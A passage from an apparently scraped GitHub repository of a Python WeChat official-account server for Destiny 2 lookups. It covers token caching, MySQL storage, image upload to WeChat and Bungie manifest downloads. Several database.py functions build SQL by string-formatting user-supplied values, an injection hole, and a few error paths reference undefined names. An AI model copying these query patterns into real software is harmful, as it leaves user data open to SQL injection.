"UTF-8", "text": "from src.MY_CONST import *\nimport os\nimport json\nfrom src.urlRequest import *\nimport asyncio\nimport time\n\n\nasync def requestToken():\n \"\"\"\n 获取微信公众平台的access_token\n\n Args:\n None\n Returns:\n 获取到的信息或者出错返回None\n \"\"\"\n try:\n url = f\"https://api.weixin.qq.com/cgi-bin/token?grant_type=client_credential&appid={wechat_appID}&secret={appsecret}\"\n resp = await GetResponseByUrl(url)\n return json.loads(resp)\n except:\n ACCESS.debug(\"access_token获取出错\")\n return None\n\n\ndef writeFile(access_token_json):\n \"\"\"\n 将获取到的access_token_json信息写入文件,以便后续调用\n\n Args:\n access_token_json:获取到的access_token信息\n Returns:\n None\n \"\"\"\n with open(\"./data/access_token.json\", \"w\") as f:\n now_time = time.time()\n data = {\"access_token\": access_token_json[\"access_token\"],\n \"get_time\": now_time, \"expires_in\": access_token_json[\"expires_in\"]}\n json.dump(data, f)\n\n\nasync def getAccessToken():\n \"\"\"\n 调用总入口,返回一个有效的access_token\n\n Args:\n None\n Returns:\n access_token\n \"\"\"\n # 是否更新文件\n flag = False\n with open(\"./data/access_token.json\", \"r+\") as f:\n try:\n data = json.load(f)\n except:\n ACCESS.debug(\"access_token.json文件读取失败\")\n return None\n if data == {}:\n flag = True\n else:\n try:\n get_time = data[\"get_time\"]\n expires_in = float(data[\"expires_in\"])\n access_token = data[\"access_token\"]\n except:\n ACCESS.debug(\"access_token文件内容读取失败\")\n return None\n if time.time() - get_time - expires_in < 0:\n # access_token有效\n return access_token\n else:\n # 无效\n flag = True\n\n if flag:\n access_token_json = await requestToken()\n if access_token_json == None:\n return None\n else:\n try:\n writeFile(access_token_json)\n return access_token_json[\"access_token\"]\n except:\n ACCESS.debug(\"access_token文件写入失败\")\n return None\n\n\nasync def refresh_access_token():\n \"\"\"\n 强制刷新access_token\n \"\"\"\n access_token_json = await requestToken()\n if access_token_json == None:\n return False\n else:\n try:\n writeFile(access_token_json)\n return True\n except:\n ACCESS.debug(\"access_token文件写入失败\")\n return False\n" }, { "alpha_fraction": 0.5485703349113464, "alphanum_fraction": 0.5485703349113464, "avg_line_length": 21.592920303344727, "blob_id": "6f4b93bd3629e4aa83b46d98a6964e2b7aeca01b", "content_id": "46052f83a187ef4a908c4c5c74949950f6c48b32", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5566, "license_type": "no_license", "max_line_length": 108, "num_lines": 226, "path": "/src/database.py", "repo_name": "lfsty/WeChat_server_destiny", "src_encoding": "UTF-8", "text": "from src.MY_CONST import *\nimport asyncio\nimport aiomysql\n\n\nasync def conn_db():\n \"\"\"\n 连接MySQL数据库\n\n Args:\n None\n Returns:\n connect\n \"\"\"\n try:\n conn = await aiomysql.connect(host=db_host, port=db_port,\n user=db_username, password=db_passwd,\n db=\"wechat\")\n return conn\n except:\n ACCESS.debug(\"连接MySQL出错\")\n return None\n\n\nasync def save_data(wechatid, steamid, membershipid, username, Authority=\"guest\"):\n \"\"\"\n 保存用户绑定数据\n\n Args:\n wechatid:微信用户OpenID\n steamid:\n membershipId:\n username:用户昵称\n Returns:\n True/False\n \"\"\"\n conn = await conn_db()\n if conn == None:\n return False\n cursor = await conn.cursor()\n\n sql = \"\"\"INSERT INTO UserData\n (wechatid,steamid,membershipid,username,Authority)\n VALUES ('%s','%s','%s','%s','%s')\n ON DUPLICATE KEY UPDATE steamid='%s',membershipid='%s',username='%s',Authority='%s'\"\"\" \\\n % (wechatid, steamid, membershipid, username, Authority, steamid, membershipid, username, Authority)\n try:\n await cursor.execute(sql)\n await conn.commit()\n\n await cursor.close()\n conn.close()\n\n return True\n except:\n # 发生错误时回滚\n ACCESS.debug(f\"{wechatid},{steamid},{membershipId},{username},数据库存储出错\")\n await conn.rollback()\n await cursor.close()\n conn.close()\n return False\n\n\nasync def save_data_image(name, media_id, created_time, choose):\n \"\"\"\n 保存临时图片信息\n\n Args:\n name:图片名称\n media_id:图片素材的MEDIA_ID\n created_time:创建的时间,以便判断是否在有效期\n choose:保存的数据类型,详情见\"./MY_CONST.py\" \"choose_list\" 项\n Returns:\n True/False\n \"\"\"\n if choose not in choose_list:\n ACCESS.debug(\"save_data_image,选择出错\")\n return False\n conn = await conn_db()\n if conn == None:\n return False\n cursor = await conn.cursor()\n\n sql = \"\"\"INSERT INTO %s\n (name,media_id,created_time)\n VALUES ('%s','%s','%d')\n ON DUPLICATE KEY UPDATE media_id='%s',created_time='%d'\"\"\" \\\n % (choose, name, media_id, created_time, media_id, created_time)\n try:\n await cursor.execute(sql)\n await conn.commit()\n\n await cursor.close()\n conn.close()\n\n return True\n except:\n # 发生错误时回滚\n ACCESS.debug(f\"{name},{media_id},{created_time},{choose},数据库保存出错\")\n await conn.rollback()\n await cursor.close()\n conn.close()\n return False\n\n\nasync def FindUserDataByWchatID(wechatid):\n \"\"\"\n 查询用户绑定信息\n\n Args:\n wechatid:微信用户OpenID\n Returns:\n 返回查询到的信息\n \"\"\"\n conn = await conn_db()\n if conn == None:\n return False\n cursor = await conn.cursor()\n\n sql = \"\"\"SELECT * FROM UserData WHERE wechatid='%s'\"\"\" \\\n % (wechatid)\n\n try:\n await cursor.execute(sql)\n data = await cursor.fetchone()\n await cursor.close()\n conn.close()\n except:\n ACCESS.debug(f\"MySQL查询用户出错:{wechatid}\")\n return None\n return data\n\n\nasync def FindImageByName(name, choose):\n \"\"\"\n 查询图片信息\n\n Args:\n name:图片名称\n choose:保存的数据类型,详情见\"./MY_CONST.py\" \"choose_list\" 项\n Returns:\n 返回查询到的信息\n \"\"\"\n if choose not in choose_list:\n ACCESS.debug(\"FindImageByName,选择出错\")\n return False\n\n conn = await conn_db()\n if conn == None:\n return False\n cursor = await conn.cursor()\n\n sql = \"\"\"SELECT * FROM %s WHERE name='%s'\"\"\" \\\n % (choose, name)\n try:\n await cursor.execute(sql)\n data = await cursor.fetchone()\n await cursor.close()\n conn.close()\n except:\n ACCESS.debug(f\"{name},{choose},MySQL查询图片出错\")\n return None\n return data\n\n\nasync def save_permanent_data(name, media_id):\n \"\"\"\n 保存永久图片信息\n\n Args:\n name:图片名称\n media_id:图片素材的MEDIA_ID\n Returns:\n True/False\n \"\"\"\n conn = await conn_db()\n if conn == None:\n return False\n cursor = await conn.cursor()\n\n sql = \"\"\"INSERT INTO permanent\n (name,media_id)\n VALUES ('%s','%s')\n ON DUPLICATE KEY UPDATE media_id='%s'\"\"\" \\\n % (name, media_id, media_id)\n try:\n await cursor.execute(sql)\n await conn.commit()\n\n await cursor.close()\n conn.close()\n\n return True\n except:\n # 发生错误时回滚\n ACCESS.debug(f\"{name},{media_id}保存永久图片出错\")\n await conn.rollback()\n await cursor.close()\n conn.close()\n return False\n\n\nasync def FindSavedPermanent_all():\n \"\"\"\n 查询所有保存的永久图片信息\n\n Args:\n None\n Returns:\n 查询到的信息\n \"\"\"\n conn = await conn_db()\n if conn == None:\n return None\n cursor = await conn.cursor()\n\n sql = \"\"\"SELECT * FROM permanent\"\"\"\n try:\n await cursor.execute(sql)\n data = await cursor.fetchall()\n await cursor.close()\n conn.close()\n except:\n ACCESS.debug(\"查询所有永久图片出错\")\n return None\n return data\n" }, { "alpha_fraction": 0.6174461245536804, "alphanum_fraction": 0.6200735569000244, "avg_line_length": 23.088607788085938, "blob_id": "bb7fa617630ec773297ad4250002f178c723d376", "content_id": "8338a5759dbca3e6842d65c71b9463dad6224bbc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2033, "license_type": "no_license", "max_line_length": 61, "num_lines": 79, "path": "/main.py", "repo_name": "lfsty/WeChat_server_destiny", "src_encoding": "UTF-8", "text": "import tornado\nimport tornado.web\nimport tornado.ioloop\nimport hashlib\nimport asyncio\nimport json\nimport os\nimport src.response\nimport threading\nimport src.interface\nimport atexit\nfrom src.MY_CONST import *\nTOKEN = \"\"\n\n\ndef check_signature(signature, timestamp, nonce):\n # 微信公众平台服务器认证\n global TOKEN\n mylist = [TOKEN, timestamp, nonce]\n mylist.sort()\n string = \"\".join(mylist)\n sha1 = hashlib.sha1()\n sha1.update(string.encode('utf-8'))\n hashcode = sha1.hexdigest()\n if(signature == hashcode):\n return True\n else:\n return False\n\n\nclass MainHandler(tornado.web.RequestHandler):\n def get(self):\n signature = self.get_argument('signature')\n timestamp = self.get_argument('timestamp')\n nonce = self.get_argument('nonce')\n echostr = self.get_argument('echostr')\n if check_signature(signature, timestamp, nonce):\n self.write(echostr)\n\n async def post(self):\n xml_data = self.request.body # 获得post来的数据\n threading.Thread(target=src.response.thread_response,\n args=(xml_data,)).start()\n self.write(\"success\")\n\n\ndef LoadServerData():\n # 读取服务器配置文件\n with open(r\"./data/main_data.json\", \"r\") as f:\n ServerData = json.load(f)\n try:\n global TOKEN\n port = ServerData[\"server\"][\"port\"]\n path = ServerData[\"server\"][\"path\"]\n TOKEN = ServerData[\"server\"][\"TOKEN\"]\n except:\n ACCESS.debug(\"服务器配置读取失败\")\n exit\n return port, path\n\n\[email protected]\ndef exit_fun():\n ACCESS.debug(\"服务器退出\")\n\n\nif __name__ == \"__main__\":\n\n port, path = LoadServerData()\n application = tornado.web.Application([\n (path, MainHandler),\n ])\n application.listen(port)\n\n print(\"服务器启动成功\")\n # 不知道为什么DEBUG没有输出到console\n ACCESS.debug(\"服务器启动成功\")\n\n tornado.ioloop.IOLoop.instance().start()\n" }, { "alpha_fraction": 0.5570628643035889, "alphanum_fraction": 0.5630367398262024, "avg_line_length": 28.432233810424805, "blob_id": "9361c82781f8c4049925733442c2eb13095ac8e3", "content_id": "95a2b1cd9114e29e30a45a0027b2ec8d59c6a4c0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 8651, "license_type": "no_license", "max_line_length": 118, "num_lines": 273, "path": "/src/imgHandler.py", "repo_name": "lfsty/WeChat_server_destiny", "src_encoding": "UTF-8", "text": "from src.MY_CONST import *\nimport src.database\nimport asyncio\nimport src.urlRequest\nimport json\nimport src.accessToken\nimport os\nfrom bs4 import BeautifulSoup\nimport datetime\nimport requests\n\n\nasync def getDaily():\n \"\"\"\n 获取日报的MEDIA_ID\n\n Args:\n None\n Returns:\n 日报的MEDIA_ID或者错误返回None\n \"\"\"\n choose = \"daily\"\n name = datetime.datetime.now().strftime(\"%Y-%m-%d\")\n files = os.listdir(\"./images/daily/\")\n full_path = f\"./images/daily/{name}.png\"\n try:\n if f\"{name}.png\" in files:\n # 本地已存在日报文件\n data = await src.database.FindImageByName(name, choose)\n if data != None:\n return data[1]\n else:\n return await bindAction(full_path, choose, name)\n else:\n await downloadDaily()\n return await bindAction(full_path, choose, name)\n except:\n ACCESS.debug(\"获取日报出错\")\n return None\n\n\nasync def getWeekly():\n \"\"\"\n 获取周报的MEDIA_ID\n\n Args:\n None\n Returns:\n 周报的MEDIA_ID或者错误返回None\n \"\"\"\n choose = \"weekly\"\n today = datetime.datetime.now().weekday()\n if today >= 2:\n gap = today - 2\n else:\n gap = today + 4\n name = (datetime.datetime.now()-datetime.timedelta(days=gap)\n ).strftime(\"%Y-%m-%d\")\n files = os.listdir(\"./images/weekly/\")\n full_path = f\"./images/weekly/{name}.jpg\"\n try:\n if f\"{name}.jpg\" in files:\n # 本地已存在周报\n data = await src.database.FindImageByName(name, choose)\n if data != None:\n now_time = datetime.datetime.timestamp(datetime.datetime.now())\n media_id = data[1]\n created_time = data[2]\n if now_time - float(created_time) < 259200.0:\n return media_id\n else:\n return await bindAction(full_path, choose, name)\n else:\n return await bindAction(full_path, choose, name)\n else:\n try:\n await downloadImage(\"命运2周报\", full_path)\n except:\n ACCESS.debug(\"下载周报失败\")\n return None\n return await bindAction(full_path, choose, name)\n except:\n ACCESS.debug(\"获取周报失败\")\n return None\n\n\nasync def getXurOrOsiris(select):\n \"\"\"\n 获取XUR或Osiris的MEDIA_ID\n\n Args:\n select:\"xur\"或\"Osiris\",选择所需要的图片\n Returns:\n XUR或Osiris的MEDIA_ID或者错误返回None\n \"\"\"\n if select not in [\"xur\", \"Osiris\"]:\n ACCESS.debug(\"getXurOrOsiris,选择出错\")\n return None\n choose = select\n today = datetime.datetime.now().weekday()\n lists = [0, 1, 5, 6]\n if today in lists:\n today = datetime.datetime.now().weekday()\n if today >= 5:\n gap = today - 5\n else:\n gap = today + 2\n name = (datetime.datetime.now()-datetime.timedelta(days=gap)\n ).strftime(\"%Y-%m-%d\")\n files = os.listdir(f\"./images/{select}/\")\n full_path = f\"./images/{select}/{name}.jpg\"\n try:\n if f\"{name}.jpg\" in files:\n data = await src.database.FindImageByName(name, choose)\n if data != None:\n now_time = datetime.datetime.timestamp(\n datetime.datetime.now())\n media_id = data[1]\n created_time = data[2]\n if now_time - float(created_time) < 259200.0:\n return media_id\n else:\n return await bindAction(full_path, choose, name)\n else:\n return await bindAction(full_path, choose, name)\n else:\n try:\n res = await downloadImage(entry_name[select], full_path, name)\n if res == None:\n return None\n except:\n ACCESS.debug(f\"下载{entry_name[select]}失败\")\n return None\n return await bindAction(full_path, choose, name)\n except:\n ACCESS.debug(f\"获取{entry_name[select]}失败\")\n return None\n else:\n return None\n\n\nasync def bindAction(full_path, choose, name):\n \"\"\"\n 上传图片至微信素材库与存储MEDIA_ID至MySQL数据库\n\n Args:\n full_path:完整的图片路径\n choose:选择图片类型\n name:图片名称\n Returns:\n 日报的MEDIA_ID或者错误返回False\n \"\"\"\n if choose not in choose_list:\n ACCESS.debug(\"bindAction,选择出错\")\n return False\n\n resp = await uploadImageToWeChat(full_path)\n media_id = resp[\"media_id\"]\n created_time = resp[\"created_at\"]\n await src.database.save_data_image(name, media_id, created_time, choose)\n return media_id\n\n\nasync def uploadImageToWeChat(filepath):\n \"\"\"\n 上传图片至微信素材库,临时素材,有效期3天\n\n Args:\n filepath:完整的图片路径\n Returns:\n resp:post信息返回结果\n \"\"\"\n access_token = await src.accessToken.getAccessToken()\n img_upload_url = f\"https://api.weixin.qq.com/cgi-bin/media/upload?access_token={access_token}&type=image\"\n with open(filepath, \"rb\") as f:\n files = {\"media\": f}\n resp = json.loads(requests.post(img_upload_url, files=files).text)\n return resp\n\n\nasync def downloadDaily():\n \"\"\"\n 下载日报,感谢@天阙\n\n Args:\n None\n Returns:\n None\n \"\"\"\n url = \"http://www.tianque.top/d2api/today/\"\n resp = await src.urlRequest.GetResponseByUrl(url)\n data = json.loads(resp)\n img_name = data[\"img_name\"]\n img_url = data[\"img_url\"]\n with open(f'./images/daily/{img_name}', 'wb') as f:\n resp = await src.urlRequest.GetResponseByUrl(img_url, content=True)\n f.write(resp)\n\n\nasync def downloadImage(name, full_path, current_time_name=None):\n \"\"\"\n 下载日报,感谢@seanalpha\n\n Args:\n name:下载图片的名称,参数为:\"命运2周报\"或者\"苏尔情报\"或者\"试炼周报\"\n full_path:保存图片的完整路径\n current_time_name:当前时间,用于判断图片是否已更新\n Returns:\n None\n \"\"\"\n url = \"https://api.xiaoheihe.cn/wiki/get_homepage_content/?wiki_id=1085660&verison=&is_share=1\"\n resp = await src.urlRequest.GetResponseByUrl(url)\n data = json.loads(resp)\n lists = data[\"result\"][\"chunk\"][0][\"block\"][0][\"tag_list\"][1][\"block_entries\"]\n for item in lists:\n if item[\"entry_name\"] == name:\n entry_url = item[\"entry_url\"]\n name_date = item[\"id\"].split(\" - \")[1]\n name_date = datetime.datetime.strptime(\n name_date, '%Y.%m.%d').strftime(\"%Y-%m-%d\")\n break\n if name_date != current_time_name:\n ACCESS.debug(f\"{name},尚未更新\")\n return None\n resp = await src.urlRequest.GetResponseByUrl(entry_url)\n soup = BeautifulSoup(resp, 'html.parser')\n img_url = soup.find(class_=\"lazy\").get(\"data-original\")\n with open(full_path, 'wb') as f:\n resp = await src.urlRequest.GetResponseByUrl(img_url, content=True)\n f.write(resp)\n\n\nasync def uploadPermanentImageToWeChat(filepath):\n \"\"\"\n 上传永久图片素材至微信素材库\n\n Args:\n full_path:图片的完整路径\n Returns:\n resp:post信息返回结果\n \"\"\"\n access_token = await src.accessToken.getAccessToken()\n img_upload_url = f\"https://api.weixin.qq.com/cgi-bin/material/add_material?access_token={access_token}&type=image\"\n with open(filepath, \"rb\") as f:\n files = {\"media\": f}\n resp = json.loads(requests.post(img_upload_url, files=files).text)\n return resp\n\n\nasync def updataPermanentImages():\n \"\"\"\n 更新\"../images/permanent\"目录下的图片素材,上传至微信素材库并保存相关信息至MySQL\n\n Args:\n None\n Returns:\n None\n \"\"\"\n path = \"./images/permanent/\"\n files = os.listdir(path)\n saved_data = []\n items = await src.database.FindSavedPermanent_all()\n for item in items:\n saved_data.append(item[0])\n for item in files:\n file_path = path+item\n name = item[:-4]\n if name in saved_data:\n continue\n else:\n resp = await src.imgHandler.uploadPermanentImageToWeChat(file_path)\n media_id = resp[\"media_id\"]\n await src.database.save_permanent_data(name, media_id)\n" }, { "alpha_fraction": 0.5624195337295532, "alphanum_fraction": 0.5643500685691833, "avg_line_length": 23.28125, "blob_id": "e00b6349257b8120b453d3061c53605d94ef3741", "content_id": "efb4e77c27b458cb1376bd5f721479a610c0b12e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1614, "license_type": "no_license", "max_line_length": 76, "num_lines": 64, "path": "/update_Manifest.py", "repo_name": "lfsty/WeChat_server_destiny", "src_encoding": "UTF-8", "text": "import os\nfrom tqdm import tqdm\nimport json\nimport requests\n\ntry:\n with open(\"./data/main_data.json\", \"r\") as f:\n data = json.load(f)\n api_key = data[\"destiny_api\"][\"api_key\"]\nexcept:\n print(\"main_data.json文件读取出错\")\n os._exit(0)\n\n\ndef getResponse(url):\n headers = {\n \"X-API-Key\": api_key,\n }\n response = requests.get(url, headers=headers).content\n return response\n\n\ndef getManifest(lang=\"zh-chs\"):\n \"\"\"\n 下载Manifest\n\n Args:\n lang:语言选择,默认为简体中文\n Returns:\n None\n \"\"\"\n try:\n url = \"https://www.bungie.net/Platform/Destiny2/Manifest/\"\n response = getResponse(url)\n response = json.loads(response)\n except:\n return None\n\n if not os.path.exists(\"./Manifest\"):\n os.mkdir(\"./Manifest\")\n\n with open(\"./Manifest/Manifest.json\", \"w\") as f:\n json.dump(response, f)\n\n if lang in response['Response'][\"jsonWorldComponentContentPaths\"]:\n jsons = response['Response'][\"jsonWorldComponentContentPaths\"][lang]\n print(\"下载Manifest\")\n pbar_total = tqdm(total=len(jsons), desc=\"下载进度...\")\n for item in jsons:\n url = \"https://www.bungie.net/\"+jsons[item]\n temp = getResponse(url)\n temp = json.loads(temp)\n with open(\"./Manifest/\"+item+\".json\", \"w\") as f:\n json.dump(temp, f)\n pbar_total.update(1)\n pbar_total.close()\n return \"OK\"\n else:\n return None\n\n\nif __name__ == \"__main__\":\n if getManifest() == None:\n print(\"更新失败\")\n" }, { "alpha_fraction": 0.5614328980445862, "alphanum_fraction": 0.5754938125610352, "avg_line_length": 24.75, "blob_id": "425e85f818b884ff7906dad867280bd5811eb5ce", "content_id": "a123b5385cbc487439fa943c5638567910c2db43", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3069, "license_type": "no_license", "max_line_length": 61, "num_lines": 116, "path": "/src/__init__.py", "repo_name": "lfsty/WeChat_server_destiny", "src_encoding": "UTF-8", "text": "import os\nimport asyncio\nimport pymysql\nimport json\n\n\n# 程序运行的初始化操作\nif not os.path.exists(\"./data/main_data.json\"):\n print(\"main_data.json文件不存在...\")\n os._exit(0)\n\nif not os.path.exists(\"./data/destiny_data.json\"):\n print(\"destiny_data.json文件不存在...\")\n os._exit(0)\n\n\nwith open(\"./data/main_data.json\", \"r\") as f:\n data = json.load(f)\n try:\n db_host = data[\"database\"][\"db_host\"]\n db_username = data[\"database\"][\"db_username\"]\n db_passwd = data[\"database\"][\"db_passwd\"]\n db_port = data[\"database\"][\"db_port\"]\n except:\n print(\"destiny_api.json文件读取出错\")\n os._exit(0)\n\nfrom warnings import filterwarnings\nfilterwarnings(\"ignore\", category=pymysql.Warning) # 忽略数据库警告\n\ntry:\n db = pymysql.connect(\n host=db_host,\n user=db_username,\n passwd=db_passwd,\n port=db_port\n )\n\n cursor = db.cursor()\n sql = \"\"\"CREATE DATABASE IF NOT EXISTS wechat\"\"\"\n cursor.execute(sql)\n cursor.close()\n db.close()\n\n db = pymysql.connect(\n host=db_host,\n user=db_username,\n passwd=db_passwd,\n port=db_port,\n database=\"wechat\",\n )\n cursor = db.cursor()\n sql = \"\"\"CREATE TABLE IF NOT EXISTS UserData ( \n wechatid char(30) NOT NULL PRIMARY KEY,\n steamid char(17),\n membershipid char(19),\n username char(30),\n Authority char(10))\"\"\"\n cursor.execute(sql)\n\n sql = \"\"\"CREATE TABLE IF NOT EXISTS daily ( \n name char(15) NOT NULL PRIMARY KEY,\n media_id char(70),\n created_time int(10))\"\"\"\n cursor.execute(sql)\n\n sql = \"\"\"CREATE TABLE IF NOT EXISTS weekly ( \n name char(15) NOT NULL PRIMARY KEY,\n media_id char(70),\n created_time int(10))\"\"\"\n cursor.execute(sql)\n\n sql = \"\"\"CREATE TABLE IF NOT EXISTS Osiris ( \n name char(15) NOT NULL PRIMARY KEY,\n media_id char(70),\n created_time int(10))\"\"\"\n cursor.execute(sql)\n\n sql = \"\"\"CREATE TABLE IF NOT EXISTS xur ( \n name char(15) NOT NULL PRIMARY KEY,\n media_id char(70),\n created_time int(10))\"\"\"\n cursor.execute(sql)\n\n sql = \"\"\"CREATE TABLE IF NOT EXISTS permanent ( \n name char(20) NOT NULL PRIMARY KEY,\n media_id char(70))\"\"\"\n cursor.execute(sql)\n\n cursor.close()\n db.close()\nexcept:\n print(\"初始化数据库出错\")\n os._exit(0)\n\nif not os.path.exists(\"./data/access_token.json\"):\n with open(\"./data/access_token.json\", \"w+\") as f:\n f.write(\"{}\")\n\nif not os.path.exists(\"./images\"):\n os.makedirs(\"./images\")\n\nif not os.path.exists(\"./images/daily\"):\n os.makedirs(\"./images/daily\")\n\nif not os.path.exists(\"./images/weekly\"):\n os.makedirs(\"./images/weekly\")\n\nif not os.path.exists(\"./images/Osiris\"):\n os.makedirs(\"./images/Osiris\")\n\nif not os.path.exists(\"./images/xur\"):\n os.makedirs(\"./images/xur\")\n\nif not os.path.exists(\"./log\"):\n os.makedirs(\"./log\")\n" }, { "alpha_fraction": 0.6470588445663452, "alphanum_fraction": 0.6470588445663452, "avg_line_length": 18.83333396911621, "blob_id": "5aa8ccf715ab5e1cfacbf640f1aae603dc1cea59", "content_id": "b8c000e692e9f228f612b6591a7ef96c05381df7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 127, "license_type": "no_license", "max_line_length": 43, "num_lines": 6, "path": "/update_interface.py", "repo_name": "lfsty/WeChat_server_destiny", "src_encoding": "UTF-8", "text": "import asyncio\nimport src.interface\n\nif __name__ == \"__main__\":\n # 创建接口\n asyncio.run(src.interface.createMenu())\n" }, { "alpha_fraction": 0.602590024471283, "alphanum_fraction": 0.6042088270187378, "avg_line_length": 27.079545974731445, "blob_id": "1989e3bf77729b147f9b5e0c4641733720ab332e", "content_id": "0e3b4c4c1aa9f682deb68150308c33ea4b7b50da", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2613, "license_type": "no_license", "max_line_length": 74, "num_lines": 88, "path": "/src/MY_CONST.py", "repo_name": "lfsty/WeChat_server_destiny", "src_encoding": "UTF-8", "text": "import json\nimport logging\nimport os\napi_key = \"\"\nROOT = \"\"\nproxy = \"\"\nhelp = \"\"\n\n# 定义日志\n\n\ndef get_logger(logger_name, log_file, level):\n l = logging.getLogger(logger_name)\n formatter = logging.Formatter(\"%(asctime)s %(levelname)s %(message)s\")\n\n fileHandler = logging.FileHandler(log_file, mode='a')\n fileHandler.setFormatter(formatter)\n l.setLevel(level)\n l.addHandler(fileHandler)\n\n return logging.getLogger(logger_name)\n\n\n# 获取程序运行的主要信息\nwith open(\"./data/main_data.json\", \"r\") as f:\n data = json.load(f)\n try:\n api_key = data[\"destiny_api\"][\"api_key\"]\n ROOT = data[\"destiny_api\"][\"root\"]\n if \"proxy\" in data:\n proxy = data[\"proxy\"]\n db_host = data[\"database\"][\"db_host\"]\n db_username = data[\"database\"][\"db_username\"]\n db_passwd = data[\"database\"][\"db_passwd\"]\n db_port = data[\"database\"][\"db_port\"]\n wechat_appID = data[\"wechat\"][\"appID\"]\n appsecret = data[\"wechat\"][\"appsecret\"]\n log_level = data[\"log\"][\"level\"]\n log_path = data[\"log\"][\"path\"]\n except:\n ACCESS.debug(\"destiny_api.json文件读取出错\")\n os._exit(0)\ntry:\n log_level_choose = {\"INFO\": logging.INFO, \"DEBUG\": logging.DEBUG}\n ACCESS = get_logger(\"access\", log_path, log_level_choose[log_level])\nexcept:\n print(\"log设置出错\")\n os._exit(0)\n\n# 读取帮助信息\ntry:\n with open(\"./data/help.txt\", \"r\") as f:\n data = f.readlines()\n for line in data:\n help += line\nexcept:\n ACCESS.debug(\"help error\")\n help = \"help error\"\n\nchoose_list = [\"weekly\", \"daily\", \"Osiris\", \"xur\", \"permanent\"]\nwith open(\"./data/destiny_data.json\", \"r\") as f:\n main_data = json.load(f)\n try:\n season_list = main_data[\"season\"]\n current_season = main_data[\"current_season\"]\n xur_location = main_data[\"xur_location\"]\n entry_name = main_data[\"entry_name\"]\n Options = main_data[\"options\"]\n except:\n ACCESS.debug(\"destiny_data.json文件读取出错\")\n os._exit(0)\n\n# ELO保留的信息\nremain = {\"Control\": \"占领\", \"Iron Banner\": \"铁骑\",\n \"Survival\": \"生存\", \"Trials of Osiris\": \"试炼\"}\n\ntry:\n # 读取Bungie的Manifest文件\n with open(\"./Manifest/DestinyInventoryItemDefinition.json\", \"r\") as f:\n ItemDefinition = json.load(f)\n\n with open(\"./Manifest/DestinyActivityDefinition.json\", \"r\") as f:\n ActivityDefinition = json.load(f)\n\nexcept:\n ACCESS.debug(\"Manifest文件读取出错\")\n print(\"Manifest文件读取出错,请先运行update_Manifest\")\n os._exit(0)\n" }, { "alpha_fraction": 0.5979606509208679, "alphanum_fraction": 0.6008740067481995, "avg_line_length": 20.123077392578125, "blob_id": "3039b2954ffb11016cf2fecc4f97499f8d04bba5", "content_id": "efb2b2aafa3739d803f5bcd342b514159590e0ee", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1583, "license_type": "no_license", "max_line_length": 78, "num_lines": 65, "path": "/src/urlRequest.py", "repo_name": "lfsty/WeChat_server_destiny", "src_encoding": "UTF-8", "text": "import requests\nimport asyncio\nimport os\nimport json\nfrom src.MY_CONST import *\nimport urllib3\n\n\nasync def GetResponseByUrl(url, need_header=False, content=False):\n \"\"\"\n Get获取网站数据\n\n Args:\n url:网站地址\n need_header:是否需要使用Bungie的API头,默认为False\n content:是否需要请求的二进制码,下载图片时需要,默认为False\n Returns:\n response:根据需求返回网络请求结果\n \"\"\"\n if need_header:\n headers = {\n \"X-API-Key\": api_key,\n }\n else:\n headers = None\n\n if proxy != \"\":\n proxies = {\"http\": f\"http://{proxy}\",\n \"https\": f\"https://{proxy}\", }\n else:\n proxies = None\n\n if content:\n response = requests.get(url, proxies=proxies, headers=headers).content\n else:\n response = requests.get(url, proxies=proxies, headers=headers).text\n return response\n\n\nasync def PostResponse(url, payload):\n \"\"\"\n Post发送json数据,(微信平台)\n\n Args:\n url:目的地址\n payload:map类型数据\n Returns:\n response:post返回结果\n \"\"\"\n response = requests.post(url, data=bytes(json.dumps(\n payload, ensure_ascii=False), encoding='utf-8'))\n return response.text\n\n\nasync def urllibRequestGet(url):\n \"\"\"\n 使用urllib3发送get请求,一般不调用此函数\n\n Args:\n url:目的地址\n Returns:\n response:请求结果返回\n \"\"\"\n response = urllib3.PoolManager().request('GET', url).data.decode()\n return response\n" }, { "alpha_fraction": 0.6629834175109863, "alphanum_fraction": 0.6629834175109863, "avg_line_length": 22.60869598388672, "blob_id": "a3d2d88684d7f2b88dcf5dd7c2ec1df7b2bbdc5a", "content_id": "94e91e5f7f1efc024ede5d6d4e8ff0cfbb23c7ea", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 597, "license_type": "no_license", "max_line_length": 86, "num_lines": 23, "path": "/src/interface.py", "repo_name": "lfsty/WeChat_server_destiny", "src_encoding": "UTF-8", "text": "import json\nimport requests\nimport asyncio\nimport src.accessToken\nimport src.urlRequest\n\n\nasync def createMenu():\n \"\"\"\n 发送微信公众号的自定义菜单栏请求,具体内容见\"../data/interface.py\"\n\n Args:\n None\n Returns:\n None\n 直接print出post结果\n \"\"\"\n access_token = await src.accessToken.getAccessToken()\n url = f\"https://api.weixin.qq.com/cgi-bin/menu/create?access_token={access_token}\"\n with open(\"./data/interface.json\", \"r\") as f:\n data = json.load(f)\n resp = await src.urlRequest.PostResponse(url, data)\n print(resp)\n" }, { "alpha_fraction": 0.7369726896286011, "alphanum_fraction": 0.7493796348571777, "avg_line_length": 17.272727966308594, "blob_id": "bc136c1c389d84777c3892b7024d5871ac351df9", "content_id": "07e6c8b41c0924a285c382befdd9302ad78d9fa9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 713, "license_type": "no_license", "max_line_length": 72, "num_lines": 22, "path": "/README.md", "repo_name": "lfsty/WeChat_server_destiny", "src_encoding": "UTF-8", "text": "# WeChat_server_destiny\n\n本插件仅供学习研究使用,请勿用于商业用途,一切后果自己承担。\n\npython微信公众号后台服务器,命运2相关信息查询。\n\n鸣谢 @seanalpha @天阙 @wenmumu @kamuxiy @两仪未央。\n\n## 使用\n* 根据./data/main_data_template.json填入相关内容,proxy可填可不填,改完后改名为main_data.json\n\n* update_interface.py用于更新微信公众号自定义接口,具体配置在./src/interface.py中\n\n* 